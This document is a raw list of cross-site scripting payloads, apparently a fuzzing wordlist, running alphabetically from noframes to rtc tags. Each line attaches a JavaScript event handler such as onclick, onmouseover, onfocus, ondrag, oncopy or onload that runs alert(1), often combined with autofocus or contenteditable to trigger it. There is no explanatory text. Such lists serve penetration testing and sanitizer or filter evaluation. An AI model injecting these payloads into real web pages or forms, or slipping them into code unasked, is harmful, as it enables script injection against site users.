<noframes oncopy="alert(1)" contenteditable>test</noframes>
<noframes oncut="alert(1)" contenteditable>test</noframes>
<noframes ondblclick="alert(1)">test</noframes>
<noframes onfocusout=alert(1) tabindex=1 id=x></noframes><input autofocus>
<noframes onkeydown="alert(1)" contenteditable>test</noframes>
<noframes onkeypress="alert(1)" contenteditable>test</noframes>
<noframes onkeyup="alert(1)" contenteditable>test</noframes>
<noframes onmousedown="alert(1)">test</noframes>
<noframes onmouseenter="alert(1)">test</noframes>
<noframes onmouseleave="alert(1)">test</noframes>
<noframes onmousemove="alert(1)">test</noframes>
<noframes onmouseout="alert(1)">test</noframes>
<noframes onmouseover="alert(1)">test</noframes>
<noframes onmouseup="alert(1)">test</noframes>
<noframes onpaste="alert(1)" contenteditable>test</noframes>
<noscript draggable="true" ondrag="alert(1)">test</noscript>
<noscript draggable="true" ondragend="alert(1)">test</noscript>
<noscript draggable="true" ondragenter="alert(1)">test</noscript>
<noscript draggable="true" ondragleave="alert(1)">test</noscript>
<noscript draggable="true" ondragstart="alert(1)">test</noscript>
<noscript id=x tabindex=1 onactivate=alert(1)></noscript>
<noscript id=x tabindex=1 onbeforeactivate=alert(1)></noscript>
<noscript id=x tabindex=1 onbeforedeactivate=alert(1)></noscript><input autofocus>
<noscript id=x tabindex=1 ondeactivate=alert(1)></noscript><input id=y autofocus>
<noscript id=x tabindex=1 onfocus=alert(1)></noscript>
<noscript id=x tabindex=1 onfocusin=alert(1)></noscript>
<noscript onbeforecopy="alert(1)" contenteditable>test</noscript>
<noscript onbeforecut="alert(1)" contenteditable>test</noscript>
<noscript onbeforepaste="alert(1)" contenteditable>test</noscript>
<noscript onblur=alert(1) tabindex=1 id=x></noscript><input autofocus>
<noscript onclick="alert(1)">test</noscript>
<noscript oncontextmenu="alert(1)">test</noscript>
<noscript oncopy="alert(1)" contenteditable>test</noscript>
<noscript oncut="alert(1)" contenteditable>test</noscript>
<noscript ondblclick="alert(1)">test</noscript>
<noscript onfocusout=alert(1) tabindex=1 id=x></noscript><input autofocus>
<noscript onkeydown="alert(1)" contenteditable>test</noscript>
<noscript onkeypress="alert(1)" contenteditable>test</noscript>
<noscript onkeyup="alert(1)" contenteditable>test</noscript>
<noscript onmousedown="alert(1)">test</noscript>
<noscript onmouseenter="alert(1)">test</noscript>
<noscript onmouseleave="alert(1)">test</noscript>
<noscript onmousemove="alert(1)">test</noscript>
<noscript onmouseout="alert(1)">test</noscript>
<noscript onmouseover="alert(1)">test</noscript>
<noscript onmouseup="alert(1)">test</noscript>
<noscript onpaste="alert(1)" contenteditable>test</noscript>
<object data=/ onload=alert(1)>
<object data=/ onreadystatechange=alert(1)>
<object draggable="true" ondrag="alert(1)">test</object>
<object draggable="true" ondragend="alert(1)">test</object>
<object draggable="true" ondragenter="alert(1)">test</object>
<object draggable="true" ondragleave="alert(1)">test</object>
<object draggable="true" ondragstart="alert(1)">test</object>
<object id=x onfocus=alert(1) type=text/html>
<object id=x onfocusin=alert(1) type=text/html>
<object id=x tabindex=1 onactivate=alert(1)></object>
<object id=x tabindex=1 onbeforeactivate=alert(1)></object>
<object id=x tabindex=1 onbeforedeactivate=alert(1)></object><input autofocus>
<object id=x tabindex=1 ondeactivate=alert(1)></object><input id=y autofocus>
<object onbeforecopy="alert(1)" contenteditable>test</object>
<object onbeforecut="alert(1)" contenteditable>test</object>
<object onbeforepaste="alert(1)" contenteditable>test</object>
<object onblur=alert(1) tabindex=1 id=x></object><input autofocus>
<object onclick="alert(1)">test</object>
<object oncontextmenu="alert(1)">test</object>
<object oncopy="alert(1)" contenteditable>test</object>
<object oncut="alert(1)" contenteditable>test</object>
<object ondblclick="alert(1)">test</object>
<object onerror=alert(1) data=1 type=image/gif>
<object onfocusout=alert(1) tabindex=1 id=x></object><input autofocus>
<object onkeydown="alert(1)" contenteditable>test</object>
<object onkeypress="alert(1)" contenteditable>test</object>
<object onkeyup="alert(1)" contenteditable>test</object>
<object onmousedown="alert(1)">test</object>
<object onmouseenter="alert(1)">test</object>
<object onmouseleave="alert(1)">test</object>
<object onmousemove="alert(1)">test</object>
<object onmouseout="alert(1)">test</object>
<object onmouseover="alert(1)">test</object>
<object onmouseup="alert(1)">test</object>
<object onpaste="alert(1)" contenteditable>test</object>
<ol draggable="true" ondrag="alert(1)">test</ol>
<ol draggable="true" ondragend="alert(1)">test</ol>
<ol draggable="true" ondragenter="alert(1)">test</ol>
<ol draggable="true" ondragleave="alert(1)">test</ol>
<ol draggable="true" ondragstart="alert(1)">test</ol>
<ol id=x tabindex=1 onactivate=alert(1)></ol>
<ol id=x tabindex=1 onbeforeactivate=alert(1)></ol>
<ol id=x tabindex=1 onbeforedeactivate=alert(1)></ol><input autofocus>
<ol id=x tabindex=1 ondeactivate=alert(1)></ol><input id=y autofocus>
<ol id=x tabindex=1 onfocus=alert(1)></ol>
<ol id=x tabindex=1 onfocusin=alert(1)></ol>
<ol onbeforecopy="alert(1)" contenteditable>test</ol>
<ol onbeforecut="alert(1)" contenteditable>test</ol>
<ol onbeforepaste="alert(1)" contenteditable>test</ol>
<ol onblur=alert(1) tabindex=1 id=x></ol><input autofocus>
<ol onclick="alert(1)">test</ol>
<ol oncontextmenu="alert(1)">test</ol>
<ol oncopy="alert(1)" contenteditable>test</ol>
<ol oncut="alert(1)" contenteditable>test</ol>
<ol ondblclick="alert(1)">test</ol>
<ol onfocusout=alert(1) tabindex=1 id=x></ol><input autofocus>
<ol onkeydown="alert(1)" contenteditable>test</ol>
<ol onkeypress="alert(1)" contenteditable>test</ol>
<ol onkeyup="alert(1)" contenteditable>test</ol>
<ol onmousedown="alert(1)">test</ol>
<ol onmouseenter="alert(1)">test</ol>
<ol onmouseleave="alert(1)">test</ol>
<ol onmousemove="alert(1)">test</ol>
<ol onmouseout="alert(1)">test</ol>
<ol onmouseover="alert(1)">test</ol>
<ol onmouseup="alert(1)">test</ol>
<ol onpaste="alert(1)" contenteditable>test</ol>
<optgroup draggable="true" ondrag="alert(1)">test</optgroup>
<optgroup draggable="true" ondragend="alert(1)">test</optgroup>
<optgroup draggable="true" ondragenter="alert(1)">test</optgroup>
<optgroup draggable="true" ondragleave="alert(1)">test</optgroup>
<optgroup draggable="true" ondragstart="alert(1)">test</optgroup>
<optgroup id=x tabindex=1 onactivate=alert(1)></optgroup>
<optgroup id=x tabindex=1 onbeforeactivate=alert(1)></optgroup>
<optgroup id=x tabindex=1 onbeforedeactivate=alert(1)></optgroup><input autofocus>
<optgroup id=x tabindex=1 ondeactivate=alert(1)></optgroup><input id=y autofocus>
<optgroup id=x tabindex=1 onfocus=alert(1)></optgroup>
<optgroup id=x tabindex=1 onfocusin=alert(1)></optgroup>
<optgroup onbeforecopy="alert(1)" contenteditable>test</optgroup>
<optgroup onbeforecut="alert(1)" contenteditable>test</optgroup>
<optgroup onbeforepaste="alert(1)" contenteditable>test</optgroup>
<optgroup onblur=alert(1) tabindex=1 id=x></optgroup><input autofocus>
<optgroup onclick="alert(1)">test</optgroup>
<optgroup oncontextmenu="alert(1)">test</optgroup>
<optgroup oncopy="alert(1)" contenteditable>test</optgroup>
<optgroup oncut="alert(1)" contenteditable>test</optgroup>
<optgroup ondblclick="alert(1)">test</optgroup>
<optgroup onfocusout=alert(1) tabindex=1 id=x></optgroup><input autofocus>
<optgroup onkeydown="alert(1)" contenteditable>test</optgroup>
<optgroup onkeypress="alert(1)" contenteditable>test</optgroup>
<optgroup onkeyup="alert(1)" contenteditable>test</optgroup>
<optgroup onmousedown="alert(1)">test</optgroup>
<optgroup onmouseenter="alert(1)">test</optgroup>
<optgroup onmouseleave="alert(1)">test</optgroup>
<optgroup onmousemove="alert(1)">test</optgroup>
<optgroup onmouseout="alert(1)">test</optgroup>
<optgroup onmouseover="alert(1)">test</optgroup>
<optgroup onmouseup="alert(1)">test</optgroup>
<optgroup onpaste="alert(1)" contenteditable>test</optgroup>
<option draggable="true" ondrag="alert(1)">test</option>
<option draggable="true" ondragend="alert(1)">test</option>
<option draggable="true" ondragenter="alert(1)">test</option>
<option draggable="true" ondragleave="alert(1)">test</option>
<option draggable="true" ondragstart="alert(1)">test</option>
<option id=x tabindex=1 onactivate=alert(1)></option>
<option id=x tabindex=1 onbeforeactivate=alert(1)></option>
<option id=x tabindex=1 onbeforedeactivate=alert(1)></option><input autofocus>
<option id=x tabindex=1 ondeactivate=alert(1)></option><input id=y autofocus>
<option id=x tabindex=1 onfocus=alert(1)></option>
<option id=x tabindex=1 onfocusin=alert(1)></option>
<option onbeforecopy="alert(1)" contenteditable>test</option>
<option onbeforecut="alert(1)" contenteditable>test</option>
<option onbeforepaste="alert(1)" contenteditable>test</option>
<option onblur=alert(1) tabindex=1 id=x></option><input autofocus>
<option onclick="alert(1)">test</option>
<option oncontextmenu="alert(1)">test</option>
<option oncopy="alert(1)" contenteditable>test</option>
<option oncut="alert(1)" contenteditable>test</option>
<option ondblclick="alert(1)">test</option>
<option onfocusout=alert(1) tabindex=1 id=x></option><input autofocus>
<option onkeydown="alert(1)" contenteditable>test</option>
<option onkeypress="alert(1)" contenteditable>test</option>
<option onkeyup="alert(1)" contenteditable>test</option>
<option onmousedown="alert(1)">test</option>
<option onmouseenter="alert(1)">test</option>
<option onmouseleave="alert(1)">test</option>
<option onmousemove="alert(1)">test</option>
<option onmouseout="alert(1)">test</option>
<option onmouseover="alert(1)">test</option>
<option onmouseup="alert(1)">test</option>
<option onpaste="alert(1)" contenteditable>test</option>
<output draggable="true" ondrag="alert(1)">test</output>
<output draggable="true" ondragend="alert(1)">test</output>
<output draggable="true" ondragenter="alert(1)">test</output>
<output draggable="true" ondragleave="alert(1)">test</output>
<output draggable="true" ondragstart="alert(1)">test</output>
<output id=x tabindex=1 onactivate=alert(1)></output>
<output id=x tabindex=1 onbeforeactivate=alert(1)></output>
<output id=x tabindex=1 onbeforedeactivate=alert(1)></output><input autofocus>
<output id=x tabindex=1 ondeactivate=alert(1)></output><input id=y autofocus>
<output id=x tabindex=1 onfocus=alert(1)></output>
<output id=x tabindex=1 onfocusin=alert(1)></output>
<output onbeforecopy="alert(1)" contenteditable>test</output>
<output onbeforecut="alert(1)" contenteditable>test</output>
<output onbeforepaste="alert(1)" contenteditable>test</output>
<output onblur=alert(1) tabindex=1 id=x></output><input autofocus>
<output onclick="alert(1)">test</output>
<output oncontextmenu="alert(1)">test</output>
<output oncopy="alert(1)" contenteditable>test</output>
<output oncut="alert(1)" contenteditable>test</output>
<output ondblclick="alert(1)">test</output>
<output onfocusout=alert(1) tabindex=1 id=x></output><input autofocus>
<output onkeydown="alert(1)" contenteditable>test</output>
<output onkeypress="alert(1)" contenteditable>test</output>
<output onkeyup="alert(1)" contenteditable>test</output>
<output onmousedown="alert(1)">test</output>
<output onmouseenter="alert(1)">test</output>
<output onmouseleave="alert(1)">test</output>
<output onmousemove="alert(1)">test</output>
<output onmouseout="alert(1)">test</output>
<output onmouseover="alert(1)">test</output>
<output onmouseup="alert(1)">test</output>
<output onpaste="alert(1)" contenteditable>test</output>
<p draggable="true" ondrag="alert(1)">test</p>
<p draggable="true" ondragend="alert(1)">test</p>
<p draggable="true" ondragenter="alert(1)">test</p>
<p draggable="true" ondragleave="alert(1)">test</p>
<p draggable="true" ondragstart="alert(1)">test</p>
<p id=x tabindex=1 onactivate=alert(1)></p>
<p id=x tabindex=1 onbeforeactivate=alert(1)></p>
<p id=x tabindex=1 onbeforedeactivate=alert(1)></p><input autofocus>
<p id=x tabindex=1 ondeactivate=alert(1)></p><input id=y autofocus>
<p id=x tabindex=1 onfocus=alert(1)></p>
<p id=x tabindex=1 onfocusin=alert(1)></p>
<p onbeforecopy="alert(1)" contenteditable>test</p>
<p onbeforecut="alert(1)" contenteditable>test</p>
<p onbeforepaste="alert(1)" contenteditable>test</p>
<p onblur=alert(1) tabindex=1 id=x></p><input autofocus>
<p onclick="alert(1)">test</p>
<p oncontextmenu="alert(1)">test</p>
<p oncopy="alert(1)" contenteditable>test</p>
<p oncut="alert(1)" contenteditable>test</p>
<p ondblclick="alert(1)">test</p>
<p onfocusout=alert(1) tabindex=1 id=x></p><input autofocus>
<p onkeydown="alert(1)" contenteditable>test</p>
<p onkeypress="alert(1)" contenteditable>test</p>
<p onkeyup="alert(1)" contenteditable>test</p>
<p onmousedown="alert(1)">test</p>
<p onmouseenter="alert(1)">test</p>
<p onmouseleave="alert(1)">test</p>
<p onmousemove="alert(1)">test</p>
<p onmouseout="alert(1)">test</p>
<p onmouseover="alert(1)">test</p>
<p onmouseup="alert(1)">test</p>
<p onpaste="alert(1)" contenteditable>test</p>
<param draggable="true" ondrag="alert(1)">test</param>
<param draggable="true" ondragend="alert(1)">test</param>
<param draggable="true" ondragenter="alert(1)">test</param>
<param draggable="true" ondragleave="alert(1)">test</param>
<param draggable="true" ondragstart="alert(1)">test</param>
<param id=x tabindex=1 onactivate=alert(1)></param>
<param id=x tabindex=1 onbeforeactivate=alert(1)></param>
<param id=x tabindex=1 onbeforedeactivate=alert(1)></param><input autofocus>
<param id=x tabindex=1 ondeactivate=alert(1)></param><input id=y autofocus>
<param id=x tabindex=1 onfocus=alert(1)></param>
<param id=x tabindex=1 onfocusin=alert(1)></param>
<param onbeforecopy="alert(1)" contenteditable>test</param>
<param onbeforecut="alert(1)" contenteditable>test</param>
<param onbeforepaste="alert(1)" contenteditable>test</param>
<param onblur=alert(1) tabindex=1 id=x></param><input autofocus>
<param onclick="alert(1)">test</param>
<param oncontextmenu="alert(1)">test</param>
<param oncopy="alert(1)" contenteditable>test</param>
<param oncut="alert(1)" contenteditable>test</param>
<param ondblclick="alert(1)">test</param>
<param onfocusout=alert(1) tabindex=1 id=x></param><input autofocus>
<param onkeydown="alert(1)" contenteditable>test</param>
<param onkeypress="alert(1)" contenteditable>test</param>
<param onkeyup="alert(1)" contenteditable>test</param>
<param onmousedown="alert(1)">test</param>
<param onmouseenter="alert(1)">test</param>
<param onmouseleave="alert(1)">test</param>
<param onmousemove="alert(1)">test</param>
<param onmouseout="alert(1)">test</param>
<param onmouseover="alert(1)">test</param>
<param onmouseup="alert(1)">test</param>
<param onpaste="alert(1)" contenteditable>test</param>
<picture draggable="true" ondrag="alert(1)">test</picture>
<picture draggable="true" ondragend="alert(1)">test</picture>
<picture draggable="true" ondragenter="alert(1)">test</picture>
<picture draggable="true" ondragleave="alert(1)">test</picture>
<picture draggable="true" ondragstart="alert(1)">test</picture>
<picture id=x tabindex=1 onactivate=alert(1)></picture>
<picture id=x tabindex=1 onbeforeactivate=alert(1)></picture>
<picture id=x tabindex=1 onbeforedeactivate=alert(1)></picture><input autofocus>
<picture id=x tabindex=1 ondeactivate=alert(1)></picture><input id=y autofocus>
<picture id=x tabindex=1 onfocus=alert(1)></picture>
<picture id=x tabindex=1 onfocusin=alert(1)></picture>
<picture onbeforecopy="alert(1)" contenteditable>test</picture>
<picture onbeforecut="alert(1)" contenteditable>test</picture>
<picture onbeforepaste="alert(1)" contenteditable>test</picture>
<picture onblur=alert(1) tabindex=1 id=x></picture><input autofocus>
<picture onclick="alert(1)">test</picture>
<picture oncontextmenu="alert(1)">test</picture>
<picture oncopy="alert(1)" contenteditable>test</picture>
<picture oncut="alert(1)" contenteditable>test</picture>
<picture ondblclick="alert(1)">test</picture>
<picture onfocusout=alert(1) tabindex=1 id=x></picture><input autofocus>
<picture onkeydown="alert(1)" contenteditable>test</picture>
<picture onkeypress="alert(1)" contenteditable>test</picture>
<picture onkeyup="alert(1)" contenteditable>test</picture>
<picture onmousedown="alert(1)">test</picture>
<picture onmouseenter="alert(1)">test</picture>
<picture onmouseleave="alert(1)">test</picture>
<picture onmousemove="alert(1)">test</picture>
<picture onmouseout="alert(1)">test</picture>
<picture onmouseover="alert(1)">test</picture>
<picture onmouseup="alert(1)">test</picture>
<picture onpaste="alert(1)" contenteditable>test</picture>
<picture><source srcset="validimage.png"><image onload=alert(1)></picture>
<picture><source srcset="validimage.png"><image onloadend=alert(1)></picture>
<picture><source srcset="validimage.png"><image onloadstart=alert(1)></picture>
<picture><source srcset="validimage.png"><img onload=alert(1)></picture>
<picture><source srcset="validimage.png"><img onloadend=alert(1)></picture>
<picture><source srcset="validimage.png"><img onloadstart=alert(1)></picture>
<plaintext draggable="true" ondrag="alert(1)">test</plaintext>
<plaintext draggable="true" ondragend="alert(1)">test</plaintext>
<plaintext draggable="true" ondragenter="alert(1)">test</plaintext>
<plaintext draggable="true" ondragleave="alert(1)">test</plaintext>
<plaintext draggable="true" ondragstart="alert(1)">test</plaintext>
<plaintext id=x tabindex=1 onactivate=alert(1)></plaintext>
<plaintext id=x tabindex=1 onbeforeactivate=alert(1)></plaintext>
<plaintext id=x tabindex=1 onbeforedeactivate=alert(1)></plaintext><input autofocus>
<plaintext id=x tabindex=1 ondeactivate=alert(1)></plaintext><input id=y autofocus>
<plaintext id=x tabindex=1 onfocus=alert(1)></plaintext>
<plaintext id=x tabindex=1 onfocusin=alert(1)></plaintext>
<plaintext onbeforecopy="alert(1)" contenteditable>test</plaintext>
<plaintext onbeforecut="alert(1)" contenteditable>test</plaintext>
<plaintext onbeforepaste="alert(1)" contenteditable>test</plaintext>
<plaintext onblur=alert(1) tabindex=1 id=x></plaintext><input autofocus>
<plaintext onclick="alert(1)">test</plaintext>
<plaintext oncontextmenu="alert(1)">test</plaintext>
<plaintext oncopy="alert(1)" contenteditable>test</plaintext>
<plaintext oncut="alert(1)" contenteditable>test</plaintext>
<plaintext ondblclick="alert(1)">test</plaintext>
<plaintext onfocusout=alert(1) tabindex=1 id=x></plaintext><input autofocus>
<plaintext onkeydown="alert(1)" contenteditable>test</plaintext>
<plaintext onkeypress="alert(1)" contenteditable>test</plaintext>
<plaintext onkeyup="alert(1)" contenteditable>test</plaintext>
<plaintext onmousedown="alert(1)">test</plaintext>
<plaintext onmouseenter="alert(1)">test</plaintext>
<plaintext onmouseleave="alert(1)">test</plaintext>
<plaintext onmousemove="alert(1)">test</plaintext>
<plaintext onmouseout="alert(1)">test</plaintext>
<plaintext onmouseover="alert(1)">test</plaintext>
<plaintext onmouseup="alert(1)">test</plaintext>
<plaintext onpaste="alert(1)" contenteditable>test</plaintext>
<pre draggable="true" ondrag="alert(1)">test</pre>
<pre draggable="true" ondragend="alert(1)">test</pre>
<pre draggable="true" ondragenter="alert(1)">test</pre>
<pre draggable="true" ondragleave="alert(1)">test</pre>
<pre draggable="true" ondragstart="alert(1)">test</pre>
<pre id=x tabindex=1 onactivate=alert(1)></pre>
<pre id=x tabindex=1 onbeforeactivate=alert(1)></pre>
<pre id=x tabindex=1 onbeforedeactivate=alert(1)></pre><input autofocus>
<pre id=x tabindex=1 ondeactivate=alert(1)></pre><input id=y autofocus>
<pre id=x tabindex=1 onfocus=alert(1)></pre>
<pre id=x tabindex=1 onfocusin=alert(1)></pre>
<pre onbeforecopy="alert(1)" contenteditable>test</pre>
<pre onbeforecut="alert(1)" contenteditable>test</pre>
<pre onbeforepaste="alert(1)" contenteditable>test</pre>
<pre onblur=alert(1) tabindex=1 id=x></pre><input autofocus>
<pre onclick="alert(1)">test</pre>
<pre oncontextmenu="alert(1)">test</pre>
<pre oncopy="alert(1)" contenteditable>test</pre>
<pre oncut="alert(1)" contenteditable>test</pre>
<pre ondblclick="alert(1)">test</pre>
<pre onfocusout=alert(1) tabindex=1 id=x></pre><input autofocus>
<pre onkeydown="alert(1)" contenteditable>test</pre>
<pre onkeypress="alert(1)" contenteditable>test</pre>
<pre onkeyup="alert(1)" contenteditable>test</pre>
<pre onmousedown="alert(1)">test</pre>
<pre onmouseenter="alert(1)">test</pre>
<pre onmouseleave="alert(1)">test</pre>
<pre onmousemove="alert(1)">test</pre>
<pre onmouseout="alert(1)">test</pre>
<pre onmouseover="alert(1)">test</pre>
<pre onmouseup="alert(1)">test</pre>
<pre onpaste="alert(1)" contenteditable>test</pre>
<progress draggable="true" ondrag="alert(1)">test</progress>
<progress draggable="true" ondragend="alert(1)">test</progress>
<progress draggable="true" ondragenter="alert(1)">test</progress>
<progress draggable="true" ondragleave="alert(1)">test</progress>
<progress draggable="true" ondragstart="alert(1)">test</progress>
<progress id=x tabindex=1 onactivate=alert(1)></progress>
<progress id=x tabindex=1 onbeforeactivate=alert(1)></progress>
<progress id=x tabindex=1 onbeforedeactivate=alert(1)></progress><input autofocus>
<progress id=x tabindex=1 ondeactivate=alert(1)></progress><input id=y autofocus>
<progress id=x tabindex=1 onfocus=alert(1)></progress>
<progress id=x tabindex=1 onfocusin=alert(1)></progress>
<progress onbeforecopy="alert(1)" contenteditable>test</progress>
<progress onbeforecut="alert(1)" contenteditable>test</progress>
<progress onbeforepaste="alert(1)" contenteditable>test</progress>
<progress onblur=alert(1) tabindex=1 id=x></progress><input autofocus>
<progress onclick="alert(1)">test</progress>
<progress oncontextmenu="alert(1)">test</progress>
<progress oncopy="alert(1)" contenteditable>test</progress>
<progress oncut="alert(1)" contenteditable>test</progress>
<progress ondblclick="alert(1)">test</progress>
<progress onfocusout=alert(1) tabindex=1 id=x></progress><input autofocus>
<progress onkeydown="alert(1)" contenteditable>test</progress>
<progress onkeypress="alert(1)" contenteditable>test</progress>
<progress onkeyup="alert(1)" contenteditable>test</progress>
<progress onmousedown="alert(1)">test</progress>
<progress onmouseenter="alert(1)">test</progress>
<progress onmouseleave="alert(1)">test</progress>
<progress onmousemove="alert(1)">test</progress>
<progress onmouseout="alert(1)">test</progress>
<progress onmouseover="alert(1)">test</progress>
<progress onmouseup="alert(1)">test</progress>
<progress onpaste="alert(1)" contenteditable>test</progress>
<q draggable="true" ondrag="alert(1)">test</q>
<q draggable="true" ondragend="alert(1)">test</q>
<q draggable="true" ondragenter="alert(1)">test</q>
<q draggable="true" ondragleave="alert(1)">test</q>
<q draggable="true" ondragstart="alert(1)">test</q>
<q id=x tabindex=1 onactivate=alert(1)></q>
<q id=x tabindex=1 onbeforeactivate=alert(1)></q>
<q id=x tabindex=1 onbeforedeactivate=alert(1)></q><input autofocus>
<q id=x tabindex=1 ondeactivate=alert(1)></q><input id=y autofocus>
<q id=x tabindex=1 onfocus=alert(1)></q>
<q id=x tabindex=1 onfocusin=alert(1)></q>
<q onbeforecopy="alert(1)" contenteditable>test</q>
<q onbeforecut="alert(1)" contenteditable>test</q>
<q onbeforepaste="alert(1)" contenteditable>test</q>
<q onblur=alert(1) tabindex=1 id=x></q><input autofocus>
<q onclick="alert(1)">test</q>
<q oncontextmenu="alert(1)">test</q>
<q oncopy="alert(1)" contenteditable>test</q>
<q oncut="alert(1)" contenteditable>test</q>
<q ondblclick="alert(1)">test</q>
<q onfocusout=alert(1) tabindex=1 id=x></q><input autofocus>
<q onkeydown="alert(1)" contenteditable>test</q>
<q onkeypress="alert(1)" contenteditable>test</q>
<q onkeyup="alert(1)" contenteditable>test</q>
<q onmousedown="alert(1)">test</q>
<q onmouseenter="alert(1)">test</q>
<q onmouseleave="alert(1)">test</q>
<q onmousemove="alert(1)">test</q>
<q onmouseout="alert(1)">test</q>
<q onmouseover="alert(1)">test</q>
<q onmouseup="alert(1)">test</q>
<q onpaste="alert(1)" contenteditable>test</q>
<rb draggable="true" ondrag="alert(1)">test</rb>
<rb draggable="true" ondragend="alert(1)">test</rb>
<rb draggable="true" ondragenter="alert(1)">test</rb>
<rb draggable="true" ondragleave="alert(1)">test</rb>
<rb draggable="true" ondragstart="alert(1)">test</rb>
<rb id=x tabindex=1 onactivate=alert(1)></rb>
<rb id=x tabindex=1 onbeforeactivate=alert(1)></rb>
<rb id=x tabindex=1 onbeforedeactivate=alert(1)></rb><input autofocus>
<rb id=x tabindex=1 ondeactivate=alert(1)></rb><input id=y autofocus>
<rb id=x tabindex=1 onfocus=alert(1)></rb>
<rb id=x tabindex=1 onfocusin=alert(1)></rb>
<rb onbeforecopy="alert(1)" contenteditable>test</rb>
<rb onbeforecut="alert(1)" contenteditable>test</rb>
<rb onbeforepaste="alert(1)" contenteditable>test</rb>
<rb onblur=alert(1) tabindex=1 id=x></rb><input autofocus>
<rb onclick="alert(1)">test</rb>
<rb oncontextmenu="alert(1)">test</rb>
<rb oncopy="alert(1)" contenteditable>test</rb>
<rb oncut="alert(1)" contenteditable>test</rb>
<rb ondblclick="alert(1)">test</rb>
<rb onfocusout=alert(1) tabindex=1 id=x></rb><input autofocus>
<rb onkeydown="alert(1)" contenteditable>test</rb>
<rb onkeypress="alert(1)" contenteditable>test</rb>
<rb onkeyup="alert(1)" contenteditable>test</rb>
<rb onmousedown="alert(1)">test</rb>
<rb onmouseenter="alert(1)">test</rb>
<rb onmouseleave="alert(1)">test</rb>
<rb onmousemove="alert(1)">test</rb>
<rb onmouseout="alert(1)">test</rb>
<rb onmouseover="alert(1)">test</rb>
<rb onmouseup="alert(1)">test</rb>
<rb onpaste="alert(1)" contenteditable>test</rb>
<rp draggable="true" ondrag="alert(1)">test</rp>
<rp draggable="true" ondragend="alert(1)">test</rp>
<rp draggable="true" ondragenter="alert(1)">test</rp>
<rp draggable="true" ondragleave="alert(1)">test</rp>
<rp draggable="true" ondragstart="alert(1)">test</rp>
<rp id=x tabindex=1 onactivate=alert(1)></rp>
<rp id=x tabindex=1 onbeforeactivate=alert(1)></rp>
<rp id=x tabindex=1 onbeforedeactivate=alert(1)></rp><input autofocus>
<rp id=x tabindex=1 ondeactivate=alert(1)></rp><input id=y autofocus>
<rp id=x tabindex=1 onfocus=alert(1)></rp>
<rp id=x tabindex=1 onfocusin=alert(1)></rp>
<rp onbeforecopy="alert(1)" contenteditable>test</rp>
<rp onbeforecut="alert(1)" contenteditable>test</rp>
<rp onbeforepaste="alert(1)" contenteditable>test</rp>
<rp onblur=alert(1) tabindex=1 id=x></rp><input autofocus>
<rp onclick="alert(1)">test</rp>
<rp oncontextmenu="alert(1)">test</rp>
<rp oncopy="alert(1)" contenteditable>test</rp>
<rp oncut="alert(1)" contenteditable>test</rp>
<rp ondblclick="alert(1)">test</rp>
<rp onfocusout=alert(1) tabindex=1 id=x></rp><input autofocus>
<rp onkeydown="alert(1)" contenteditable>test</rp>
<rp onkeypress="alert(1)" contenteditable>test</rp>
<rp onkeyup="alert(1)" contenteditable>test</rp>
<rp onmousedown="alert(1)">test</rp>
<rp onmouseenter="alert(1)">test</rp>
<rp onmouseleave="alert(1)">test</rp>
<rp onmousemove="alert(1)">test</rp>
<rp onmouseout="alert(1)">test</rp>
<rp onmouseover="alert(1)">test</rp>
<rp onmouseup="alert(1)">test</rp>
<rp onpaste="alert(1)" contenteditable>test</rp>
<rt draggable="true" ondrag="alert(1)">test</rt>
<rt draggable="true" ondragend="alert(1)">test</rt>
<rt draggable="true" ondragenter="alert(1)">test</rt>
<rt draggable="true" ondragleave="alert(1)">test</rt>
<rt draggable="true" ondragstart="alert(1)">test</rt>
<rt id=x tabindex=1 onactivate=alert(1)></rt>
<rt id=x tabindex=1 onbeforeactivate=alert(1)></rt>
<rt id=x tabindex=1 onbeforedeactivate=alert(1)></rt><input autofocus>
<rt id=x tabindex=1 ondeactivate=alert(1)></rt><input id=y autofocus>
<rt id=x tabindex=1 onfocus=alert(1)></rt>
<rt id=x tabindex=1 onfocusin=alert(1)></rt>
<rt onbeforecopy="alert(1)" contenteditable>test</rt>
<rt onbeforecut="alert(1)" contenteditable>test</rt>
<rt onbeforepaste="alert(1)" contenteditable>test</rt>
<rt onblur=alert(1) tabindex=1 id=x></rt><input autofocus>
<rt onclick="alert(1)">test</rt>
<rt oncontextmenu="alert(1)">test</rt>
<rt oncopy="alert(1)" contenteditable>test</rt>
<rt oncut="alert(1)" contenteditable>test</rt>
<rt ondblclick="alert(1)">test</rt>
<rt onfocusout=alert(1) tabindex=1 id=x></rt><input autofocus>
<rt onkeydown="alert(1)" contenteditable>test</rt>
<rt onkeypress="alert(1)" contenteditable>test</rt>
<rt onkeyup="alert(1)" contenteditable>test</rt>
<rt onmousedown="alert(1)">test</rt>
<rt onmouseenter="alert(1)">test</rt>
<rt onmouseleave="alert(1)">test</rt>
<rt onmousemove="alert(1)">test</rt>
<rt onmouseout="alert(1)">test</rt>
<rt onmouseover="alert(1)">test</rt>
<rt onmouseup="alert(1)">test</rt>
<rt onpaste="alert(1)" contenteditable>test</rt>
<rtc draggable="true" ondrag="alert(1)">test</rtc>
<rtc draggable="true" ondragend="alert(1)">test</rtc>
<rtc draggable="true" ondragenter="alert(1)">test</rtc>
<rtc draggable="true" ondragleave="alert(1)">test</rtc>
<rtc draggable="true" ondragstart="alert(1)">test</rtc>
<rtc id=x tabindex=1 onactivate=alert(1)></rtc>
<rtc id=x tabindex=1 onbeforeactivate=alert(1)></rtc>
<rtc id=x tabindex=1 onbeforedeactivate=alert(1)></rtc><input autofocus>
<rtc id=x tabindex=1 ondeactivate=alert(1)></rtc><input id=y autofocus>
<rtc id=x tabindex=1 onfocus=alert(1)></rtc>
<rtc id=x tabindex=1 onfocusin=alert(1)></rtc>
<rtc onbeforecopy="alert(1)" contenteditable>test</rtc>
<rtc onbeforecut="alert(1)" contenteditable>test</rtc>
<rtc onbeforepaste="alert(1)" contenteditable>test</rtc>
<rtc onblur=alert(1) tabindex=1 id=x></rtc><input autofocus>
<rtc onclick="alert(1)">test</rtc>
<rtc oncontextmenu="alert(1)">test</rtc>
<rtc oncopy="alert(1)" contenteditable>test</rtc>
<rtc oncut="alert(1)" contenteditable>test</rtc>
<rtc ondblclick="alert(1)">test</rtc>
<rtc onfocusout=alert(1) tabindex=1 id=x></rtc><input autofocus>
<rtc onkeydown="alert(1)" contenteditable>test</rtc>
<rtc onkeypress="alert(1)" contenteditable>test</rtc>
<rtc onkeyup="alert(1)" contenteditable>test</rtc>
<rtc onmousedown="alert(1)">test</rtc>
<rtc onmouseenter="alert(1)">test</rtc>
<rtc onmouseleave="alert(1)">test</rtc>
